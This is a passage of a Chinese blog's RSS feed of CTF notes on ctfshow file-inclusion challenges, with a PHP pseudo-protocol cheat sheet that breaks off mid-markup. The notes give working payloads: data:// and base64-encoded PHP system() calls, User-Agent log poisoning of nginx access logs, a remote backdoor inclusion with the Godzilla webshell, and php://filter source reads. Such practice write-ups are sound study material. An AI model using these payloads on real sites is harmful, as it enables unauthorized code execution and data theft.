<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>文件包含 on 波奇大王的 &#34;Hugo Project&#34;</title>
        <link>https://www.guitarhero.wang/tags/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/</link>
        <description>Recent content in 文件包含 on 波奇大王的 &#34;Hugo Project&#34;</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>zh-cn</language>
        <lastBuildDate>Wed, 02 Sep 2026 14:03:57 +0800</lastBuildDate><atom:link href="https://www.guitarhero.wang/tags/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/index.xml" rel="self" type="application/rss+xml" /><item>
            <title>ctfshow web82</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-inclusion/web82/</link>
            <pubDate>Wed, 02 Sep 2026 14:03:57 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-inclusion/web82/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web82&#34;&gt;ctfshow web82&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web82&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐~⭐⭐⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：如 SQL 注入（无回显）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：YYYY-MM-DD&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;（题目给了什么环境、什么提示）&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;（从哪步开始想的，怎么一步步走到答案）&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;（贴出关键 payload 或命令）&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;（截图放这里，说明是哪一步的）&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应小迪课程章节&#34;&gt;对应小迪课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;（如：Web攻防-命令执行，方便回头复习）&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;（卡在哪了、绕了什么弯、下次遇到要注意什么）&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web81</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-inclusion/web81/</link>
            <pubDate>Mon, 31 Aug 2026 19:13:27 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-inclusion/web81/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web81&#34;&gt;ctfshow web81&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web81&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：文件包含（配合包含）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-8-31&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260831185716&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831185716.png&#34;&gt;&#xA;除了将基本伪协议ban了，还把:给ban了，我他哥的求你了&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.伪协议这下是真的基本都没了，就可以往其他地方去想：“日志包含”。我们一般访问对方网站的时候都会被网站日志给记录下我们的UA头。而文件包含有个特点，不论你是什么后缀的文件，只要你里面有完整的代码格式它都会去执行。因此，如果我们通过抓包在UA头里插入恶意PHP代码呢？&#xA;2.首先就是得确认对方是什么中间件搭建的网站，我这里使用的是报错方法。&#xA;3.确认为nginx搭建的网站后，我们就可以去网上找它的日志默认路径：/var/log/nginx/access.log（这里需要知道的是日志目录是可以更改的）。找到后尝试修改自己的UA头去访问看是否会被记录&#xA;4.发现对方目录确实是会记录我们的UA头后就可以开始将UA头变成恶意代码去寻找flag了&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.明确方向&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.通过访问错误的文件名让对方网站报错获取网站信息&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.我这里是将UA头改成“boqidawang666”了，为了方便就不截图burp修改的图片了，相信都是会的&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4.&amp;lt;?php system(&amp;#39;ls&amp;#39;); ?&amp;gt;; &amp;lt;?php system(&amp;#39;tac fl0g.php&amp;#39;); ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260831190259&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831190259.png&#34;&gt;&#xA;3.&#xA;&lt;img alt=&#34;Pasted image 20260831190650&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831190650.png&#34;&gt;&#xA;4.&#xA;&lt;img alt=&#34;Pasted image 20260831191145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831191145.png&#34;&gt;&#xA;&lt;img alt=&#34;Pasted image 20260831191304&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831191304.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;（如：Web攻防-命令执行，方便回头复习）&lt;/p&gt;&#xA;&lt;p&gt;50文件包含&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;无&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web80</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-inclusion/web80/</link>
            <pubDate>Mon, 31 Aug 2026 18:32:29 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-inclusion/web80/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web80&#34;&gt;ctfshow web80&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web80&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：文件包含（远程文件包含）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-8-31&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260831182237&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831182237.png&#34;&gt;&#xA;题目直接将基本的伪协议基本全部ban掉了&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.它将data://text/plain,伪协议ban了不代表一定是坏事，因为它ban这个其实从侧面也代表着它没有将allow_url_include给变成off，所以我们可以让其去包含我们远程的后门文件去执行即可。所以我们首先就得生成个后门，我这生成的是boqi.txt&#xA;2.生成好后将其放入对方可以访问的公网服务器上&#xA;3.然后用哥斯拉去连接后门&#xA;4.正常查看flag文件即可&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.正常生成后门即可&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.得放到对方能够抵达的地方&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.连接后门&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4.正常查看flag文件即可&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;ol&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;![[Pasted image 20260831182625.png|452]]&#xA;2.&#xA;&lt;img alt=&#34;Pasted image 20260831182737&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831182737.png&#34;&gt;&#xA;3.&#xA;&lt;img alt=&#34;Pasted image 20260831182912&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831182912.png&#34;&gt;&#xA;4.&#xA;&lt;img alt=&#34;Pasted image 20260831183106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831183106.png&#34;&gt;&#xA;&lt;img alt=&#34;Pasted image 20260831183206&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260831183206.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;50文件包含&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;无&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web79</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-inclusion/web79/</link>
            <pubDate>Sun, 30 Aug 2026 20:55:40 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-inclusion/web79/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web79&#34;&gt;ctfshow web79&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web79&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：文件包含（data配合base64编码执行命令）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-8-30&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260830204559&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260830204559.png&#34;&gt;&#xA;题目用str_replace函数将php替换成了？？？，且是遍历循环，无法双写绕过&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.这里就得想到data://text/plain伪协议了，因为你要执行的是php命令，所以你还要配和base64进行编码绕过，所以你接下来将使用的是data://text/plain;base64,的组合技！（唯一需要注意的是：因为你是base64编码，内容中会存在%=等等符号，你输入在浏览器栏时可能会被url解码，所以你这里最好自己先进行编码一次）&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpID8%2B&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKSA%2FPg%3D%3D&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;ol&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;![[Pasted image 20260830205209.png|271]]![[Pasted image 20260830205226.png|258]]&#xA;&lt;img alt=&#34;Pasted image 20260830205007&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260830205007.png&#34;&gt;&#xA;2.&#xA;![[Pasted image 20260830205412.png|264]]![[Pasted image 20260830205424.png|305]]&#xA;&lt;img alt=&#34;Pasted image 20260830205441&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260830205441.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;50文件包含&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.没有想到data://text/plain,伪协议居然可以配合base64打组合技&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>ctfshow web78</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-inclusion/web78/</link>
            <pubDate>Sun, 30 Aug 2026 20:04:39 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-inclusion/web78/</guid>
            <description>&lt;h1 id=&#34;ctfshow-web78&#34;&gt;ctfshow web78&#xD;&#xA;&lt;/h1&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;题号&lt;/strong&gt;：web78&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;难度&lt;/strong&gt;：⭐&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;考点&lt;/strong&gt;：文件包含（include文件包含的关键函数）&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;日期&lt;/strong&gt;：2026-8-30&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;题目描述&#34;&gt;题目描述&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;img alt=&#34;Pasted image 20260830200119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260830200119.png&#34;&gt;&#xA;发现题目存在include文件包含的关键函数&lt;/p&gt;&#xA;&lt;h2 id=&#34;解题思路&#34;&gt;解题思路&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.先用data伪装协议去查看当前目录下的文件&#xA;2.然后再用data伪协议去执行查看flag.php的命令&lt;/p&gt;&#xA;&lt;h2 id=&#34;payload--关键操作&#34;&gt;Payload / 关键操作&#xD;&#xA;&lt;/h2&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.?file=data://text/plain,&amp;lt;?php system(&amp;#39;ls&amp;#39;) ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.?file=data://text/plain,&amp;lt;?php system(&amp;#39;tac flag.php&amp;#39;) ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;复现截图&#34;&gt;复现截图&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;1.&lt;img alt=&#34;Pasted image 20260830200355&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260830200355.png&#34;&gt;&#xA;2.&lt;img alt=&#34;Pasted image 20260830200417&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://www.guitarhero.wang/notes/Pasted-image-20260830200417.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;对应课程章节&#34;&gt;对应课程章节&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;文件包含漏洞&lt;/p&gt;&#xA;&lt;h2 id=&#34;踩坑记录--复盘&#34;&gt;踩坑记录 / 复盘&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;无，easy&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>伪协议速查表（PHP）</title>
            <link>https://www.guitarhero.wang/notes/ctf/file-inclusion/%E4%BC%AA%E5%8D%8F%E8%AE%AE%E9%80%9F%E6%9F%A5%E8%A1%A8/</link>
            <pubDate>Sat, 29 Aug 2026 10:49:12 +0800</pubDate>
            <guid>https://www.guitarhero.wang/notes/ctf/file-inclusion/%E4%BC%AA%E5%8D%8F%E8%AE%AE%E9%80%9F%E6%9F%A5%E8%A1%A8/</guid>
            <description>&lt;h1 id=&#34;伪协议速查表php&#34;&gt;伪协议速查表（PHP）&#xD;&#xA;&lt;/h1&gt;&#xD;&#xA;    &lt;blockquote&gt;&#xD;&#xA;        &lt;p&gt;适用：文件包含（include/require）题、任意文件读取题&#xA;记忆口诀：&lt;strong&gt;读文件用 filter，执行用 data/input&lt;/strong&gt;&lt;/p&gt;&#xA;&#xD;&#xA;    &lt;/blockquote&gt;&#xD;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;一什么是伪协议一句话原理&#34;&gt;一、什么是伪协议（一句话原理）&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;PHP 的 include / file_get_contents 等函数读的&lt;strong&gt;不一定是磁盘文件&lt;/strong&gt;，还可以是&amp;quot;协议流&amp;quot;（由 PHP 生成的内容）。伪协议 = 这些特殊流。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;支持伪协议的函数&lt;/strong&gt;：&lt;code&gt;include&lt;/code&gt; / &lt;code&gt;require&lt;/code&gt; / &lt;code&gt;include_once&lt;/code&gt; / &lt;code&gt;require_once&lt;/code&gt; / &lt;code&gt;file_get_contents&lt;/code&gt; / &lt;code&gt;readfile&lt;/code&gt; / &lt;code&gt;file&lt;/code&gt; / &lt;code&gt;fopen&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;关键配置&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;allow_url_include=On&lt;/code&gt;：&lt;code&gt;data://&lt;/code&gt; 和 &lt;code&gt;php://input&lt;/code&gt; 才可用（CTF 环境一般开着）&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;allow_url_fopen&lt;/code&gt;：默认 On&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;二4-个必记协议&#34;&gt;二、4 个必记协议&#xD;&#xA;&lt;/h2&gt;&lt;h3 id=&#34;-phpfilter--读源码最最常用&#34;&gt;① php://filter —— 读源码（最最常用）&#xD;&#xA;&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// 读 PHP 文件内容（base64 编码，避免被当作代码执行）&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;://&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;filter&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;read&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;convert&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;base64&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;encode&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;resource&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;flag&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// 变体：省略 read=（等价）&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;://&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;filter&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;convert&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;base64&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;encode&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;resource&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;flag&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// 变体：读文件内容原样输出（非 PHP 文件时用）&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;://&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;filter&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;resource&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;flag&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;txt&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// 变体：多过滤器（进阶，绕过时用）&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;://&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;filter&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;read&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;convert&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;iconv&lt;/span&gt;&lt;span 